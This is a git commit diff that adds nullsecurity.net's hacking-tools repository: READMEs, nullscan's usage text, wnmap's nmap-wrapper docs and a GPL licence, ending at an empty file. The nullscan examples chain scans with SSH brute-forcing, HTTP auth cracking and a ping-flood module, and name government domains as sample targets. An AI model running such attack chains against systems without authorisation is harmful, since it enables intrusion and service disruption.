commit 485fad8b48d3939797a365ffb7b1df3e3c378a8d Author: Levon 'noptrix' Kayan Date: Tue Nov 14 12:04:48 2023 +0200 re-commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b7aafa9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,15 @@ +.swp +.swn +.swo +.key +.DS_Store +.git +.pyc +__pycache__ +id_rsa +id_dsa +passwd +shadow +.bash_history +.zsh_history +.zhistory diff --git a/README.md b/README.md new file mode 100644 index 0000000..88b37e8 --- /dev/null +++ b/README.md @@ -0,0 +1,13 @@ +# About +This section offers a selection of our fully featured security and hacking tools. +We also provide some exploits, proof of concept code, shellcodes and snippets. +That means some tools are not tested and may not have the feature set. + +If you find some bugs or if you have any questions, ideas or criticism regarding +to this section, feel free to message us. + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/automation/README.md b/automation/README.md new file mode 100644 index 0000000..bc2a5d1 --- /dev/null +++ b/automation/README.md @@ -0,0 +1,13 @@ +# About +This section includes automation tools and wrapper scripts for well-known and +public security tools to make your life easier. You can adjust the scripts fast +and easily according to your own needs. Mostly written in bourne shell. + +If you find some bugs or if you have any questions, ideas or criticism regarding +to this section, feel free to message us. + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/automation/nullscan/README.md b/automation/nullscan/README.md new file mode 100644 index 0000000..d9447c7 --- /dev/null +++ b/automation/nullscan/README.md @@ -0,0 +1,112 @@ +# Description +A modular framework designed to chain and automate security tests. It parses +target definitions from the command line and runs corresponding modules and +their nullscan-tools afterwards. It can also take hosts and start nmap first in +order to perform a basic portscan and run the modules afterwards. Also, nullscan +can parse a given nmap logfile for open tcp and udp ports and again run the +modules afterwards. All results will be logged in specified directories with a +clean structure and a HTML report can subsequently be generated. + +This code is dedicated to my friend Zeljko (R.I.P.), who passed away, +2nd Dec 2012. + +# Usage + +``` +[ hacker@blackarch ~ ]$ nullscan -H + ____ + ____ __ __/ / /_____________ _____ + / __ \/ / / / / / ___/ ___/ __ `/ __ \ + / / / / /_/ / / (__ ) /__/ /_/ / / / / +/_/ /_/\__,_/_/_/____/\___/\__,_/_/ /_/ + + --==[ by nullsecurity.net ]==-- + +usage + + nullscan [options] | + +modes + + -t - hosts to scan via nmap and then attack - ? for info + -u - targets to attack directly via URIs - ? for info + -l - parse nmap xml logfile and attack hosts on open ports + +options + + -o - extra options for modes - ? for info + -i - include modules (default: all) - ? for info + -I - include tools (default: all) - ? for info + -x - exclude modules (default: see nullscan.cfg) - ? for info + -X - exclude tools (default: see nullscan.cfg) - ? for info + -T - num workers for parallel target checks (default: 15) + -M - num workers to run parallel modules (default: 10) + -P - num workers to run parallel tools (default: 15) + -k - num seconds for tool (global) timeout (default: 0.0) + -r - generate an html report + -R - work, log and report dir (default: pwd + date) + -c - config file (default: /etc/nullscan.conf) + -v - verbose mode (default: false) + -d - debug mode (default: false) + +misc + + -C - check for missing tools (recommended) + -p - print tools and exit - ? for info + -m - create and add a new module - ? for info + -a - add tool to existing module - ? for info + -V - print version of nullscan and exit + -H - print this help and exit + +examples + + -t 192.168.0.0/24 -i tcp=ssh,http -r -I hydra_ssh,crack_http_auth + + -u 'tcp://nsa.gov:80=http,22=ssh;udp://foo.bar:1337; + http://fbi.gov,https://cia.gov;mail://foo@bar.baz; + person://justin bieber,noptrix;lan://eth0,tap0;wifi://wlan0' + -o 'user=root;plists=/tmp/pwds.txt;rhost=192.168.0.1; + sport=1337;dirsearch_web=-o my -p "own opts" -c 1 -f 4;' + + -n /tmp/scanned.xml -i 'host=icmp;tcp=default' -r + + -l hosts.txt -X sqlmap,wpscan -v -o 'httping_web=-p cia.gov; + rpcdump_udp=-f foo -b bar;nmap=-sT,-n,-p-;' + + -p 'tcp=ssh,http;host=zonetransfer;udp' + + -m 'icmp/ping ping_flood ping -f -s 9999' + + -a 'tcp/ssh crack_ssh sshcracker -c arg -f arg' +``` + +# Example + +[![asciicast](https://asciinema.org/a/kUNVbUEIde0e6vtsKiFi5neXb.png)](https://asciinema.org/a/kUNVbUEIde0e6vtsKiFi5neXb) + +# Installation + +Run `setup.sh`. Install needed python modules afterwards using `pip install -r docs/requirements.txt`. + +# Author + +noptrix + +# Notes + +- Please check the manpage from docs/nullscan.1 +- Use '?' option-value for any cmdline options. It gives you information for usage and examples. +- clean code; real project +- nullscan is already packaged and available for [BlackArch Linux](https://www.blackarch.org/) +- My master-branches are always dev-branches; use releases for stable versions. +- All of my public stuff you find are officially announced and published via [nullsecurity.net](https://www.nullsecurity.net). + +# License + +Check docs/LICENSE. + +# Disclaimer +We hereby emphasize, that the hacking related stuff found on +[nullsecurity.net](http://nullsecurity.net/) are only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/automation/nullscan/release/nullscan-1.0.1.tar.gz b/automation/nullscan/release/nullscan-1.0.1.tar.gz new file mode 100644 index 0000000..8c463bb Binary files /dev/null and b/automation/nullscan/release/nullscan-1.0.1.tar.gz differ diff --git a/automation/wnmap/README.md b/automation/wnmap/README.md new file mode 100644 index 0000000..5a0e66e --- /dev/null +++ b/automation/wnmap/README.md @@ -0,0 +1,13 @@ +# Description +A shell script written with the purpose to automate and chain scans via nmap. +You can run nmap with a custom mode written by user and create directories for +every mode with the xml/nmap files inside. + +# Author +nrz + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/automation/wnmap/release/wnmap-0.1.tar.gz b/automation/wnmap/release/wnmap-0.1.tar.gz new file mode 100644 index 0000000..6fa2902 Binary files /dev/null and b/automation/wnmap/release/wnmap-0.1.tar.gz differ diff --git a/automation/wnmap/source/docs/AUTHORS b/automation/wnmap/source/docs/AUTHORS new file mode 100644 index 0000000..66864c6 --- /dev/null +++ b/automation/wnmap/source/docs/AUTHORS @@ -0,0 +1 @@ +nrz[at]nullsecurity.net - http://www.nullsecurity.net/ diff --git a/automation/wnmap/source/docs/CHANGELOG b/automation/wnmap/source/docs/CHANGELOG new file mode 100644 index 0000000..4f719ef --- /dev/null +++ b/automation/wnmap/source/docs/CHANGELOG @@ -0,0 +1 @@ +Read docs/TODO to see changes and todo list. diff --git a/automation/wnmap/source/docs/DESCR b/automation/wnmap/source/docs/DESCR new file mode 100644 index 0000000..b21bc4d --- /dev/null +++ b/automation/wnmap/source/docs/DESCR @@ -0,0 +1,3 @@ +A shell script written with the purpose to automate and chain scans via nmap. +You can run nmap with a custom mode written by user and create directories for +every mode with the xml/nmap files inside. diff --git a/automation/wnmap/source/docs/LICENSE b/automation/wnmap/source/docs/LICENSE new file mode 100644 index 0000000..0c33297 --- /dev/null +++ b/automation/wnmap/source/docs/LICENSE @@ -0,0 +1,673 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + Copyright (C) 2013 nrz@nullsecurity.net + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + wnmap Copyright (C) 2013 nrz@nullsecurity.net + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/automation/wnmap/source/docs/README b/automation/wnmap/source/docs/README new file mode 100644 index 0000000..9977cdc --- /dev/null +++ b/automation/wnmap/source/docs/README @@ -0,0 +1,57 @@ +WNMAP v0.1 +========== + + +WHAT YOU CAN DO WITH THIS +========================= + - Configure custom scan modes and store them for future audits. + - Run all scan modes in chain. + - Add Script Nmap NSE modes. + - Generate nice directory structure, i.e.: + 192.168.1.1 $ tree + . + |-- all + | |-- 192.168.1.1.nmap + | `-- 192.168.1.1.xml + |-- fast + | |-- 192.168.1.1.nmap + | `-- 192.168.1.1.xml + |-- os + | |-- 192.168.1.1.nmap + | `-- 192.168.1.1.xml + `-- version + |-- 192.168.1.1.nmap + `-- 192.168.1.1.xml + + +WHAT YOU CAN NOT DO WITH THIS +============================= + - Scan network ranges (see wscan tool). + + +HOW THE wmodes.conf WORKS +========================= + - First, you can easily edit with 'wnmap -e' command. + - The file is organize into lines splitted by ';' + - First column: wnmap mode - this will set up the way it will be called from wnmap. + - i.e.: -F;fast;-F;false => $ wscan -F target.com + - NOTE: '-F' '-T' '-F' <= right ; '-scan' <= wrong + - Second column: wnmap name - this will fix the human radeable name - used for + create directories and so on. + - Third column: nmap mode - command for nmap to run out. + - Fourth column: boolean flag - will tell wnmap if sudo is required for nmap command. + + +TL;DR +===== + - Scan host with {1..N} custom modes. + - Create your own modes. + - Get all results in a nice way for latest report. + + +NOTE +==== + - Check src/core/wnmap.conf out [!] + + +#EOF diff --git a/automation/wnmap/source/docs/TESTED b/automation/wnmap/source/docs/TESTED new file mode 100644 index 0000000..3c00546 --- /dev/null +++ 